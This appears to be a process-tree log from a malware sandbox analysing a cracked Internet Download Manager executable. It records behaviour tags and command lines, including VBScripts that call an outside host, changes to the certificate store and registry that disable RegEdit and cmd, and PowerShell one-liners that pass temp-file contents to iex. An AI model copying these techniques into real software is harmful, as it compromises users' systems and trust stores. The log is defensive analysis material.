C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7324,i,14054768932819894756,13051144647165851547,524288 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=7300 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4756,i,3901997346842098733,14280611466984283543,524288 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=7320 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6008,i,1551438756048510490,3501304021401226439,2097152 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=7428 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=7552,i,15988520610422599121,5644491116858776321,2097152 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=5064 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=4928,i,11356259613321009244,2703606502914206961,2097152 --field-trial-handle=2248,i,13102027096055818238,15302540082748082560,262144 --variations-seed-version --mojo-platform-channel-handle=7636 /prefetch:24⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.bb4ad5022966a985 > \\.\pipe\chrome.nativeMessaging.out.bb4ad5022966a9854⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=05⤵
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window4⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x268,0x26c,0x270,0x264,0x238,0x7ffd8387c188,0x7ffd8387c194,0x7ffd8387c1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1796,i,13158410324252687056,3263447854254878241,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1668,i,16975857828817296029,11318296552265442103,262144 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=2280 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2608,i,14410515096565581738,15069419142292826892,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=2752 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3312,i,15511807165612589374,9410500298695932528,2097152 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=3336 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4416,i,11889204960560135298,6216664113964956774,2097152 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4984,i,4324746032967998611,4333763800423992696,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=4992 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4984,i,4324746032967998611,4333763800423992696,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=4992 /prefetch:85⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.922976a4bc943898 > \\.\pipe\chrome.nativeMessaging.out.922976a4bc9438985⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=06⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.25f31f1a72ad023d > \\.\pipe\chrome.nativeMessaging.out.25f31f1a72ad023d5⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=06⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.7a919b14790410c7 > \\.\pipe\chrome.nativeMessaging.out.7a919b14790410c75⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=06⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5076,i,3797365108320625717,15804009671534045319,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,17690601232646982180,5080736012226269428,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,7881170215248067490,13617324896993579925,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:85⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.4b915a9b8f1263a7 > \\.\pipe\chrome.nativeMessaging.out.4b915a9b8f1263a75⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=06⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.42b50984711de78e > \\.\pipe\chrome.nativeMessaging.out.42b50984711de78e5⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=06⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4820,i,10086944867916577061,8623285539076335846,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=4564 /prefetch:85⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.85d6464c5d11ee50 > \\.\pipe\chrome.nativeMessaging.out.85d6464c5d11ee505⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=06⤵
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5668,i,7664979600513569665,16317027635262840453,262144 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4908,i,10470113882914555044,6399115370462008275,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:85⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.238d25f007e0975c > \\.\pipe\chrome.nativeMessaging.out.238d25f007e0975c5⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=06⤵
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4840,i,12314053773311369038,2430559771543744548,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=4088 /prefetch:85⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=0" < \\.\pipe\chrome.nativeMessaging.in.9e86fe92562fcb05 > \\.\pipe\chrome.nativeMessaging.out.9e86fe92562fcb055⤵
- Executes a command shell one-liner
-
C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe"C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe" chrome-extension://llbjbkhnmlidjebalopleeepgdfgcpec/ --parent-window=06⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4672,i,13014903409684812944,14912477720164409838,524288 --field-trial-handle=2284,i,13335271835754271801,12742966529251100954,262144 --variations-seed-version --mojo-platform-channel-handle=4112 /prefetch:85⤵
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://secure.internetdownloadmanager.com/buy_idm.html?v=643b072⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files (x86)\Internet Download Manager\IDMan.exe"C:\Program Files (x86)\Internet Download Manager\IDMan.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 7\IDM_6.4x_Crack_v20.6\IDM_6.4x_Crack_v20.6.exe"C:\Users\Admin\Downloads\Internet Download Manager 6.43 Build 7\IDM_6.4x_Crack_v20.6\IDM_6.4x_Crack_v20.6.exe"1⤵
- Blocks application from running via registry modification
- Disables RegEdit via registry modification
- Disables cmd.exe use via registry modification
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\\IDM_UPDT_s0qr7oi.vbs" "https://www.internetdownloadmanager.com/idm.xml" "Program_Version" "Primary_Download_URL" "6.43.7.2" "IDM" "C:\Program Files\Google\Chrome\Application\chrome.exe" silent2⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
- Modifies system certificate store
-
-
C:\Windows\SysWOW64\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\\CRK_UPDT_2ifijz9.vbs" "https://idm.0dy.ir/" "Version" "Download_URL" "20.6" "Crack" "C:\Program Files\Google\Chrome\Application\chrome.exe" silent2⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\\IDM_UPDT_hrghmhk.vbs" "https://www.internetdownloadmanager.com/idm.xml" "Program_Version" "Primary_Download_URL" "6.43.7.2" "IDM" "C:\Program Files\Google\Chrome\Application\chrome.exe" nosilent2⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\\CRK_UPDT_24oa53m.vbs" "https://idm.0dy.ir/" "Version" "Download_URL" "20.6" "Crack" "C:\Program Files\Google\Chrome\Application\chrome.exe" nosilent2⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
-
-
C:\Windows\SysWOW64\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\\WININF.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exereg.exe import C:\Users\Admin\AppData\Local\Temp\IDMRegClean.reg2⤵
- Modifies registry class
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c call "C:\Users\Admin\AppData\Local\Temp\BATCLEN.bat"2⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ver3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\reg.exereg query "HKCU\Console" /v ForceV23⤵
-
-
C:\Windows\system32\find.exefind /i "0x0"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo prompt $E | cmd3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo prompt $E "4⤵
-
-
C:\Windows\system32\cmd.execmd4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "C:\Users\Admin\AppData\Local\Temp\BATCLEN.bat" "3⤵
-
-
C:\Windows\system32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$f=[io.file]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\BATCLEN.bat') -split ':PowerShellTest:\s*';iex ($f[1])"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\find.exefind /i "FullLanguage"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "Get-WmiObject -Class Win32_ComputerSystem | Select-Object -Property CreationClassName"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\find.exefind /i "computersystem"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe "([System.Security.Principal.NTAccount](Get-WmiObject -Class Win32_ComputerSystem).UserName).Translate([System.Security.Principal.SecurityIdentifier]).Value" 2>nul3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "([System.Security.Principal.NTAccount](Get-WmiObject -Class Win32_ComputerSystem).UserName).Translate([System.Security.Principal.SecurityIdentifier]).Value"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\reg.exereg query HKU\\Software3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe "$explorerProc = Get-Process -Name explorer | Where-Object {$_.SessionId -eq (Get-Process -Id $pid).SessionId} | Select-Object -First 1; $sid = (gwmi -Query ('Select * From Win32_Process Where ProcessID=' + $explorerProc.Id)).GetOwnerSid().Sid; $sid" 2>nul3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$explorerProc = Get-Process -Name explorer | Where-Object {$_.SessionId -eq (Get-Process -Id $pid).SessionId} | Select-Object -First 1; $sid = (gwmi -Query ('Select * From Win32_Process Where ProcessID=' + $explorerProc.Id)).GetOwnerSid().Sid; $sid"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\reg.exereg query HKU\S-1-5-21-101591186-421676486-4137282292-1000\Software3⤵
-
-
C:\Windows\system32\reg.exereg delete HKCU\IAS_TEST /f3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg delete HKU\S-1-5-21-101591186-421676486-4137282292-1000\IAS_TEST /f3⤵
-
-
C:\Windows\system32\reg.exereg add HKCU\IAS_TEST3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg query HKU\S-1-5-21-101591186-421676486-4137282292-1000\IAS_TEST3⤵
-
-
C:\Windows\system32\reg.exereg delete HKCU\IAS_TEST /f3⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg delete HKU\S-1-5-21-101591186-421676486-4137282292-1000\IAS_TEST /f3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKU\S-1-5-21-101591186-421676486-4137282292-1000\Software\DownloadManager" /v ExePath 2>nul3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\reg.exereg query "HKU\S-1-5-21-101591186-421676486-4137282292-1000\Software\DownloadManager" /v ExePath4⤵
-
-
-
C:\Windows\system32\reg.exereg add HKU\S-1-5-21-101591186-421676486-4137282292-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST3⤵
-
-
C:\Windows\system32\reg.exereg query HKU\S-1-5-21-101591186-421676486-4137282292-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST3⤵
-
-
C:\Windows\system32\reg.exereg delete HKU\S-1-5-21-101591186-421676486-4137282292-1000\Software\Classes\Wow6432Node\CLSID\IAS_TEST /f3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe "(Get-Date).ToString('yyyyMMdd-HHmmssfff')"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "(Get-Date).ToString('yyyyMMdd-HHmmssfff')"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\reg.exereg export HKCU\Software\Classes\Wow6432Node\CLSID "C:\Windows\Temp\_Backup_HKCU_CLSID_20260723-081708951.reg"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "Email"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "Serial"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "scansk"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "tvfrdt"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "radxcnt"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "LstCheck"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "ptrk_scdt"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\DownloadManager" "/v" "LastCheckQU"3⤵
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Wow6432Node\Internet Download Manager"3⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$sid = 'S-1-5-21-101591186-421676486-4137282292-1000'; $HKCUsync = 1; $lockKey = $null; $deleteKey = 1; $f=[io.file]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\BATCLEN.bat') -split ':regscan\:.*';iex ($f[1])"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\chcp.comchcp 650013⤵
-
-
